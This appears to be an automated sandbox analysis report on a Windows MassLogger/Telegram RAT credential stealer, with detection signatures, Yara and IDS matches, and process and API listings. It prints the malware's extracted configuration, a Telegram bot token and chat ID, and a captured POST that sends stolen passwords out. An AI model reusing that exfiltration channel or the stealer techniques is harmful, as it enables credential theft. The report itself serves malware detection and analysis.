Edit tour

Windows Analysis Report
VIAmJUhQ54.exe

Overview

General Information

Sample name:	VIAmJUhQ54.exe renamed because original name is a hash value
Original sample name:	b118fff1b6ca5b742655af56712876b102e632c1623091ebd3cc9a8d1a639f84.exe
Analysis ID:	1587606
MD5:	1110092c1603912d573ac4539ef601a2
SHA1:	c17d059f511e9695347a61fe40b917a6430c4c56
SHA256:	b118fff1b6ca5b742655af56712876b102e632c1623091ebd3cc9a8d1a639f84
Tags:	exeuser-adrian__luca
Infos:

Detection

MassLogger RAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected MassLogger RAT

Yara detected Telegram RAT

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

Machine Learning detection for sample

Maps a DLL or memory area into another process

Switches to a custom stack to bypass stack traces

Tries to detect the country of the analysis system (by using the IP)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Writes to foreign memory regions

Abnormal high CPU Usage

Contains functionality for read data from the clipboard

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found evaded block containing many API calls

Found evasive API chain (date check)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

OS version to string mapping found (often used in BOTs)

Potential key logger detected (key state polling based)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

VIAmJUhQ54.exe (PID: 5924 cmdline: "C:\Users\user\Desktop\VIAmJUhQ54.exe" MD5: 1110092C1603912D573AC4539EF601A2)

RegSvcs.exe (PID: 7336 cmdline: "C:\Users\user\Desktop\VIAmJUhQ54.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)

cleanup

Malware Configuration

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot7910311526:AAEn5doit3APLTHTBsAxIx_YHMTZbEuOtRo/sendMessage"}

Threatname: MassLogger

{"EXfil Mode": "Telegram", "Telegram Token": "7910311526:AAEn5doit3APLTHTBsAxIx_YHMTZbEuOtRo", "Telegram Chatid": "6712961026"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000008.00000002.3714455601.0000000002BBB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000008.00000002.3714455601.0000000002BBB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000002.3714455601.0000000002BBB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000008.00000002.3712605161.0000000000402000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000008.00000002.3712605161.0000000000402000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000002.3712605161.0000000000402000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000008.00000002.3712605161.0000000000402000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xef73:$a1: get_encryptedPassword 0xf29b:$a2: get_encryptedUsername 0xed0e:$a3: get_timePasswordChanged 0xee2f:$a4: get_passwordField 0xef89:$a5: set_encryptedPassword 0x108e5:$a7: get_logins 0x10596:$a8: GetOutlookPasswords 0x10388:$a9: StartKeylogger 0x10835:$a10: KeyLoggerEventArgs 0x103e5:$a11: KeyLoggerEventArgsEventHandler
00000001.00000002.1289354649.0000000003690000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000001.00000002.1289354649.0000000003690000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.1289354649.0000000003690000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000001.00000002.1289354649.0000000003690000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xf173:$a1: get_encryptedPassword 0xf49b:$a2: get_encryptedUsername 0xef0e:$a3: get_timePasswordChanged 0xf02f:$a4: get_passwordField 0xf189:$a5: set_encryptedPassword 0x10ae5:$a7: get_logins 0x10796:$a8: GetOutlookPasswords 0x10588:$a9: StartKeylogger 0x10a35:$a10: KeyLoggerEventArgs 0x105e5:$a11: KeyLoggerEventArgsEventHandler
00000001.00000002.1289354649.0000000003690000.00000004.00001000.00020000.00000000.sdmp	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x14125:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x13623:$a3: \Google\Chrome\User Data\Default\Login Data 0x13931:$a4: \Orbitum\User Data\Default\Login Data 0x14729:$a5: \Kometa\User Data\Default\Login Data
Process Memory Space: VIAmJUhQ54.exe PID: 5924	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
Process Memory Space: VIAmJUhQ54.exe PID: 5924	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: VIAmJUhQ54.exe PID: 5924	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: VIAmJUhQ54.exe PID: 5924	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x25003b:$a1: get_encryptedPassword 0x250354:$a2: get_encryptedUsername 0x24fdea:$a3: get_timePasswordChanged 0x24ff0b:$a4: get_passwordField 0x250051:$a5: set_encryptedPassword 0x251954:$a7: get_logins 0x251605:$a8: GetOutlookPasswords 0x2513f7:$a9: StartKeylogger 0x2518a4:$a10: KeyLoggerEventArgs 0x251454:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: RegSvcs.exe PID: 7336	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
Process Memory Space: RegSvcs.exe PID: 7336	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegSvcs.exe PID: 7336	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: RegSvcs.exe PID: 7336	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x15f60:$a1: get_encryptedPassword 0x16279:$a2: get_encryptedUsername 0x15d0f:$a3: get_timePasswordChanged 0x15e30:$a4: get_passwordField 0x15f76:$a5: set_encryptedPassword 0x17879:$a7: get_logins 0x1752a:$a8: GetOutlookPasswords 0x1731c:$a9: StartKeylogger 0x177c9:$a10: KeyLoggerEventArgs 0x17379:$a11: KeyLoggerEventArgsEventHandler
Click to see the 15 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
8.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
8.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
8.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
8.2.RegSvcs.exe.400000.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xf173:$a1: get_encryptedPassword 0xf49b:$a2: get_encryptedUsername 0xef0e:$a3: get_timePasswordChanged 0xf02f:$a4: get_passwordField 0xf189:$a5: set_encryptedPassword 0x10ae5:$a7: get_logins 0x10796:$a8: GetOutlookPasswords 0x10588:$a9: StartKeylogger 0x10a35:$a10: KeyLoggerEventArgs 0x105e5:$a11: KeyLoggerEventArgsEventHandler
8.2.RegSvcs.exe.400000.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x14125:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x13623:$a3: \Google\Chrome\User Data\Default\Login Data 0x13931:$a4: \Orbitum\User Data\Default\Login Data 0x14729:$a5: \Kometa\User Data\Default\Login Data
1.2.VIAmJUhQ54.exe.3690000.1.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
1.2.VIAmJUhQ54.exe.3690000.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
1.2.VIAmJUhQ54.exe.3690000.1.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
1.2.VIAmJUhQ54.exe.3690000.1.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xd373:$a1: get_encryptedPassword 0xd69b:$a2: get_encryptedUsername 0xd10e:$a3: get_timePasswordChanged 0xd22f:$a4: get_passwordField 0xd389:$a5: set_encryptedPassword 0xece5:$a7: get_logins 0xe996:$a8: GetOutlookPasswords 0xe788:$a9: StartKeylogger 0xec35:$a10: KeyLoggerEventArgs 0xe7e5:$a11: KeyLoggerEventArgsEventHandler
1.2.VIAmJUhQ54.exe.3690000.1.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x12325:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x11823:$a3: \Google\Chrome\User Data\Default\Login Data 0x11b31:$a4: \Orbitum\User Data\Default\Login Data 0x12929:$a5: \Kometa\User Data\Default\Login Data
1.2.VIAmJUhQ54.exe.3690000.1.raw.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
1.2.VIAmJUhQ54.exe.3690000.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
1.2.VIAmJUhQ54.exe.3690000.1.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
1.2.VIAmJUhQ54.exe.3690000.1.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xf173:$a1: get_encryptedPassword 0xf49b:$a2: get_encryptedUsername 0xef0e:$a3: get_timePasswordChanged 0xf02f:$a4: get_passwordField 0xf189:$a5: set_encryptedPassword 0x10ae5:$a7: get_logins 0x10796:$a8: GetOutlookPasswords 0x10588:$a9: StartKeylogger 0x10a35:$a10: KeyLoggerEventArgs 0x105e5:$a11: KeyLoggerEventArgsEventHandler
1.2.VIAmJUhQ54.exe.3690000.1.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x14125:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x13623:$a3: \Google\Chrome\User Data\Default\Login Data 0x13931:$a4: \Orbitum\User Data\Default\Login Data 0x14729:$a5: \Kometa\User Data\Default\Login Data
Click to see the 10 entries

Suricata Signatures

ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T15:35:05.169737+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.10	49749	149.154.167.220	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T15:34:57.854468+0100	2803274	2	Potentially Bad Traffic	192.168.2.10	49707	193.122.130.0	80	TCP
2025-01-10T15:35:04.229590+0100	2803274	2	Potentially Bad Traffic	192.168.2.10	49707	193.122.130.0	80	TCP

Joe Security ANOMALY Telegram Send File

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T15:35:04.863572+0100	1810008	1	Potentially Bad Traffic	192.168.2.10	49749	149.154.167.220	443	TCP

HTTP traffic detected: POST /bot7910311526:AAEn5doit3APLTHTBsAxIx_YHMTZbEuOtRo/sendDocument?chat_id=6712961026&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd315a0f8efc48Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive

Source: RegSvcs.exe, 00000008.00000002.3714455601.0000000002BBB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: RegSvcs.exe, 00000008.00000002.3714455601.0000000002AE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.com
Source: RegSvcs.exe, 00000008.00000002.3714455601.0000000002BBB000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000008.00000002.3714455601.0000000002AE0000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000008.00000002.3714455601.0000000002AD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: RegSvcs.exe, 00000008.00000002.3714455601.0000000002A61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: VIAmJUhQ54.exe, 00000001.00000002.1289354649.0000000003690000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000008.00000002.3712605161.0000000000402000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/q
Source: RegSvcs.exe, 00000008.00000002.3714455601.0000000002B02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.org
Source: RegSvcs.exe, 00000008.00000002.3714455601.0000000002A61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: RegSvcs.exe, 00000008.00000002.3715795244.0000000005F30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.
Source: RegSvcs.exe, 00000008.00000002.3714455601.0000000002BBB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: RegSvcs.exe, 00000008.00000002.3714455601.0000000002BBB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: VIAmJUhQ54.exe, 00000001.00000002.1289354649.0000000003690000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000008.00000002.3712605161.0000000000402000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot-/sendDocument?chat_id=
Source: RegSvcs.exe, 00000008.00000002.3714455601.0000000002BBB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7910311526:AAEn5doit3APLTHTBsAxIx_YHMTZbEuOtRo/sendDocument?chat_id=6712
Source: RegSvcs.exe, 00000008.00000002.3714455601.0000000002AE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: VIAmJUhQ54.exe, 00000001.00000002.1289354649.0000000003690000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000008.00000002.3712605161.0000000000402000.00000040.80000000.00040000.00000000.sdmp, RegSvcs.exe, 00000008.00000002.3714455601.0000000002AE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: RegSvcs.exe, 00000008.00000002.3714455601.0000000002AE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.10:49749 version: TLS 1.2

Source: C:\Users\user\Desktop\VIAmJUhQ54.exe

Code function: 1_2_00776B0C OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

1_2_00776B0C

Source: C:\Users\user\Desktop\VIAmJUhQ54.exe

Code function: 1_2_00776D07 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

1_2_00776D07

Source: C:\Users\user\Desktop\VIAmJUhQ54.exe

1_2_00776B0C

Source: C:\Users\user\Desktop\VIAmJUhQ54.exe

Code function: 1_2_00762B37 GetKeyboardState,GetAsyncKeyState,GetKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,

1_2_00762B37

Source: C:\Users\user\Desktop\VIAmJUhQ54.exe

Code function: 1_2_0078F7FF DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

1_2_0078F7FF

System Summary

Malicious sample detected (through community Yara rule)

Source: 8.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 8.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 1.2.VIAmJUhQ54.exe.3690000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 1.2.VIAmJUhQ54.exe.3690000.1.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 1.2.VIAmJUhQ54.exe.3690000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 1.2.VIAmJUhQ54.exe.3690000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 00000008.00000002.3712605161.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000001.00000002.1289354649.0000000003690000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000001.00000002.1289354649.0000000003690000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: Process Memory Space: VIAmJUhQ54.exe PID: 5924, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: RegSvcs.exe PID: 7336, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown

Binary is likely a compiled AutoIt script file

Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Code function: This is a third-party compiled AutoIt script.	1_2_00723D19
Source: VIAmJUhQ54.exe	String found in binary or memory: This is a third-party compiled AutoIt script.
Source: VIAmJUhQ54.exe, 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_be7b8a64-b
Source: VIAmJUhQ54.exe, 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: uSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_078adbe8-d
Source: VIAmJUhQ54.exe	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_ab08b507-4
Source: VIAmJUhQ54.exe	String found in binary or memory: CSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_637e4ceb-7

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\VIAmJUhQ54.exe

Code function: 1_2_00766606: CreateFileW,DeviceIoControl,CloseHandle,

1_2_00766606

Source: C:\Users\user\Desktop\VIAmJUhQ54.exe

Code function: 1_2_0075AF64 GetCurrentProcess,OpenProcessToken,CreateEnvironmentBlock,CloseHandle,CreateProcessWithLogonW,DestroyEnvironmentBlock,

1_2_0075AF64

Source: C:\Users\user\Desktop\VIAmJUhQ54.exe

Code function: 1_2_007679D3 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,

1_2_007679D3

Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Code function: 1_2_0074B043	1_2_0074B043
Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Code function: 1_2_00733200	1_2_00733200
Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Code function: 1_2_00733B70	1_2_00733B70
Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Code function: 1_2_0075410F	1_2_0075410F
Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Code function: 1_2_007402A4	1_2_007402A4
Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Code function: 1_2_0072E3E3	1_2_0072E3E3
Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Code function: 1_2_0075038E	1_2_0075038E
Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Code function: 1_2_0075467F	1_2_0075467F
Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Code function: 1_2_007406D9	1_2_007406D9
Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Code function: 1_2_0078AACE	1_2_0078AACE
Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Code function: 1_2_00754BEF	1_2_00754BEF
Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Code function: 1_2_0074CCC1	1_2_0074CCC1
Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Code function: 1_2_0072AF50	1_2_0072AF50
Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Code function: 1_2_00726F07	1_2_00726F07
Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Code function: 1_2_0073B11F	1_2_0073B11F
Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Code function: 1_2_007831BC	1_2_007831BC
Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Code function: 1_2_0074D1B9	1_2_0074D1B9
Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Code function: 1_2_0075724D	1_2_0075724D
Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Code function: 1_2_0074123A	1_2_0074123A
Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Code function: 1_2_007293F0	1_2_007293F0
Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Code function: 1_2_007613CA	1_2_007613CA
Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Code function: 1_2_0073F563	1_2_0073F563
Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Code function: 1_2_007296C0	1_2_007296C0
Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Code function: 1_2_0076B6CC	1_2_0076B6CC
Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Code function: 1_2_0078F7FF	1_2_0078F7FF
Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Code function: 1_2_007277B0	1_2_007277B0
Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Code function: 1_2_007579C9	1_2_007579C9
Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Code function: 1_2_0073FA57	1_2_0073FA57
Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Code function: 1_2_00729B60	1_2_00729B60
Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Code function: 1_2_0073FE6F	1_2_0073FE6F
Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Code function: 1_2_00749ED0	1_2_00749ED0
Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Code function: 1_2_00727FA3	1_2_00727FA3
Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Code function: 1_2_00F03010	1_2_00F03010
Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Code function: 1_2_00F07378	1_2_00F07378
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01124328	8_2_01124328
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_011227B9	8_2_011227B9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01129048	8_2_01129048
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01125968	8_2_01125968
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01125F90	8_2_01125F90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01122DD1	8_2_01122DD1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0643C7B0	8_2_0643C7B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_06434340	8_2_06434340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_06435E18	8_2_06435E18

Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Code function: String function: 0073EC2F appears 68 times
Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Code function: String function: 00746AC0 appears 42 times
Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Code function: String function: 0074F8A0 appears 35 times

Source: VIAmJUhQ54.exe, 00000001.00000003.1285847604.000000000397D000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs VIAmJUhQ54.exe
Source: VIAmJUhQ54.exe, 00000001.00000003.1285323072.00000000037D3000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs VIAmJUhQ54.exe
Source: VIAmJUhQ54.exe, 00000001.00000002.1289354649.0000000003690000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCloudServices.exe< vs VIAmJUhQ54.exe

Source: VIAmJUhQ54.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: 8.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
